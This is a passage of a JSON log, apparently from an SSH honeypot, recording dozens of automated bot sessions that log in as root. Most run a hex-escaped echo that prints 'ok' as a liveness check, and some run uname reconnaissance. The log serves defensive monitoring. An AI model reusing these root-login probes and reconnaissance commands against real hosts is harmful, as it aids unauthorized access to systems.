  "ended_at": "2026-08-23T08:42:18.435592+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85b5ed7d-2139-48cb-ba70-5a4604eb550f",
  "name": "hushed-idle-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:13.588498+00:00",
  "ended_at": "2026-08-23T08:42:15.786520+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6f4bb4b2-bb10-429f-a35a-6a08c3c8ee7f",
  "name": "breezy-solemn-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:11.089216+00:00",
  "ended_at": "2026-08-23T08:42:12.833645+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1e01a6e6-dab3-46da-92a9-0da85166a8af",
  "name": "russet-lunar-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53036,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:08.586803+00:00",
  "ended_at": "2026-08-23T08:42:10.335301+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1a10cd78-b970-42fa-84f6-dfa56131fae0",
  "name": "sincere-regal-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:06.385719+00:00",
  "ended_at": "2026-08-23T08:42:07.950279+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4718bc1f-763e-4d5f-86db-a7bc93d69dcd",
  "name": "patient-lonesome-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:03.424376+00:00",
  "ended_at": "2026-08-23T08:42:05.629439+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bd614c1-6ece-4de7-8a81-022c665d39c0",
  "name": "polar-slender-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:01.053814+00:00",
  "ended_at": "2026-08-23T08:42:02.809358+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f45b9ef6-073a-4e1c-8254-e2e86a995e17",
  "name": "ashen-fabled-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:58.865926+00:00",
  "ended_at": "2026-08-23T08:42:00.409111+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "535e46c2-da06-45f1-954c-c8c03ddccec1",
  "name": "fleeting-pleasant-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:41:57.737826+00:00",
  "ended_at": "2026-08-23T08:42:00.664311+00:00",
  "ended_reason": "no channel opened",
  "commands": 1,
  "transcript_bytes": 20
 },
 {
  "id": "dc36014b-4dfe-411e-a284-2fe6c42e0d4a",
  "name": "foggy-noble-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 167,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:41:57.263998+00:00",
  "ended_at": "2026-08-23T08:42:00.638623+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 611
 },
 {
  "id": "bb14ea58-d26b-4012-8986-bd64693deda6",
  "name": "frosty-vivid-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:56.637368+00:00",
  "ended_at": "2026-08-23T08:41:58.226511+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ea5839f-f828-4fbd-8928-6091abe11082",
  "name": "arctic-hearty-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:54.124616+00:00",
  "ended_at": "2026-08-23T08:41:55.975130+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5cde03be-289e-431f-bf57-c5490efd9043",
  "name": "mindful-northern-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:51.229690+00:00",
  "ended_at": "2026-08-23T08:41:53.452834+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "99c02873-000c-4b2f-a6e8-320c25a2c89d",
  "name": "reedy-frosty-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:49.365178+00:00",
  "ended_at": "2026-08-23T08:41:50.430094+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5b7ba2c3-f25c-4bc4-9a5b-73c777251fdf",
  "name": "gallant-hearty-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:46.880867+00:00",
  "ended_at": "2026-08-23T08:41:48.688324+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9f515e7-4410-477e-8096-1aff07acb9fa",
  "name": "brisk-nameless-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48302,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:44.760809+00:00",
  "ended_at": "2026-08-23T08:41:46.252901+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f10d09cc-555c-4b7d-96bc-6fe3e6b38d77",
  "name": "northern-fickle-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:43.100485+00:00",
  "ended_at": "2026-08-23T08:41:44.029449+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "db99b4ba-4b1f-472b-9927-6383481a4c2a",
  "name": "jaunty-deft-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48284,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:41.329849+00:00",
  "ended_at": "2026-08-23T08:41:42.350694+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85b96a55-96d5-4c07-9968-bfcc525eb099",
  "name": "opal-gilded-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48276,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:39.523471+00:00",
  "ended_at": "2026-08-23T08:41:40.568754+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ebd8a038-a818-4c90-a57f-7036d10aa8ed",
  "name": "alpine-eager-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:37.060442+00:00",
  "ended_at": "2026-08-23T08:41:38.906676+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8bf870ee-941c-44ed-9941-1b10ae890e7d",
  "name": "gritty-knotted-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45824,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:34.207641+00:00",
  "ended_at": "2026-08-23T08:41:36.243743+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2a90fb6a-30b9-4fb8-86c2-103b13d7174b",
  "name": "umber-marbled-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:31.774265+00:00",
  "ended_at": "2026-08-23T08:41:33.499022+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dea72fa3-4ed5-4615-81c1-bab71b023652",
  "name": "downy-ruddy-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:28.821887+00:00",
  "ended_at": "2026-08-23T08:41:30.951119+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5f1b6628-277c-49fe-80a8-c5bdf2aa7d5a",
  "name": "fearless-vivid-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:25.926134+00:00",
  "ended_at": "2026-08-23T08:41:28.067737+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "02462f46-0f8c-465c-8cda-8779db7efd3c",
  "name": "dusky-opal-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:23.384333+00:00",
  "ended_at": "2026-08-23T08:41:25.302018+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f7ca1015-dfa3-45b9-a75c-604eae2e3f53",
  "name": "gilded-plucky-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:21.663659+00:00",
  "ended_at": "2026-08-23T08:41:22.557187+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9de2eaa5-d288-4b9a-a2a9-e44830b15c4d",
  "name": "chilly-dewy-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:19.177461+00:00",
  "ended_at": "2026-08-23T08:41:21.023523+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "169da604-d3b7-44e8-ae0f-a2a69401588e",
  "name": "peaty-reedy-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54620,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:17.137621+00:00",
  "ended_at": "2026-08-23T08:41:18.464231+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20ced981-4139-4c0a-b7be-b9940085b69c",
  "name": "icy-plucky-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:14.687925+00:00",
  "ended_at": "2026-08-23T08:41:16.459057+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1d5f69eb-4bec-4255-84b2-8d976decc384",
  "name": "faded-pleasant-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54614,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:11.912085+00:00",
  "ended_at": "2026-08-23T08:41:14.029713+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba62dbf3-545e-4cd2-80d9-5b501532c123",
  "name": "dutiful-dusty-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:09.431719+00:00",
  "ended_at": "2026-08-23T08:41:11.173385+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3ab041d8-efd9-4538-9878-d18dd6f4e193",
  "name": "vaulted-somber-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:07.688917+00:00",
  "ended_at": "2026-08-23T08:41:08.676668+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "097cb383-19c0-42d1-bcad-a1a5736ac04b",
  "name": "smoky-steady-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:04.887595+00:00",
  "ended_at": "2026-08-23T08:41:07.033986+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "05d932d7-88b5-4e87-a0a7-d4962039dc35",
  "name": "bashful-gnarled-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:03.191283+00:00",
  "ended_at": "2026-08-23T08:41:04.226553+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "117941b8-ccf8-49ec-9f82-bb2b294e9095",
  "name": "arctic-canny-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57202,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:41:00.347914+00:00",
  "ended_at": "2026-08-23T08:41:02.420816+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f7e676f-fa8f-4679-bb54-4412457a4df5",
  "name": "emerald-sterling-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:57.417155+00:00",
  "ended_at": "2026-08-23T08:40:59.548896+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c5f1f56e-4470-4bd0-8253-29abe9463537",
  "name": "brave-pleasant-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:55.866768+00:00",
  "ended_at": "2026-08-23T08:40:56.756582+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c2d32a8e-2c95-48ab-8297-79d49ff0be97",
  "name": "sandy-thrifty-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55042,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:52.938020+00:00",
  "ended_at": "2026-08-23T08:40:55.106547+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4567007f-f857-48e9-94a8-204957144b0e",
  "name": "mossy-nameless-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:50.049260+00:00",
  "ended_at": "2026-08-23T08:40:52.290153+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "79f01630-5106-400a-a04d-f5c359012596",
  "name": "zealous-pleasant-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:48.009015+00:00",
  "ended_at": "2026-08-23T08:40:49.292239+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b07c1e1f-7f59-4c0e-a022-384bc4b4f7aa",
  "name": "indigo-upland-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42472,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:45.854932+00:00",
  "ended_at": "2026-08-23T08:40:47.345736+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9e8341b5-7aed-4e57-baef-2e084d0cf48d",
  "name": "lonesome-indigo-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48574,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 171,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:40:43.724412+00:00",
  "ended_at": "2026-08-23T08:40:49.618448+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41d363dd-41e7-4a3c-8576-c28f9deecc92",
  "name": "blithe-tidal-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42464,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:43.162408+00:00",
  "ended_at": "2026-08-23T08:40:45.155687+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "50643388-a7e4-42f8-a87a-f1af11648d97",
  "name": "ivory-forlorn-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:41.473406+00:00",
  "ended_at": "2026-08-23T08:40:42.493373+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48c80448-e236-4ff2-822a-fa5cf3cf384a",
  "name": "wiry-cobalt-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42448,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:39.710644+00:00",
  "ended_at": "2026-08-23T08:40:40.816582+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca4fe7e4-fbbc-4c77-955d-31ae0cc8ddf0",
  "name": "dutiful-keen-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:36.953146+00:00",
  "ended_at": "2026-08-23T08:40:38.948761+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c465abb4-3455-4852-909f-a9b8eaa0f894",
  "name": "icy-painted-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:34.858853+00:00",
  "ended_at": "2026-08-23T08:40:36.194341+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e001d838-c135-46e9-a765-4a5f555990f8",
  "name": "scarlet-lawful-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48036,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:32.845168+00:00",
  "ended_at": "2026-08-23T08:40:34.024931+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07edacad-68be-41e4-879a-52439972ddf9",
  "name": "peaty-gritty-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:30.674257+00:00",
  "ended_at": "2026-08-23T08:40:32.069585+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f235a221-4df7-4bc0-acf8-658d75c3d81b",
  "name": "primal-downy-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:28.196626+00:00",
  "ended_at": "2026-08-23T08:40:29.930010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
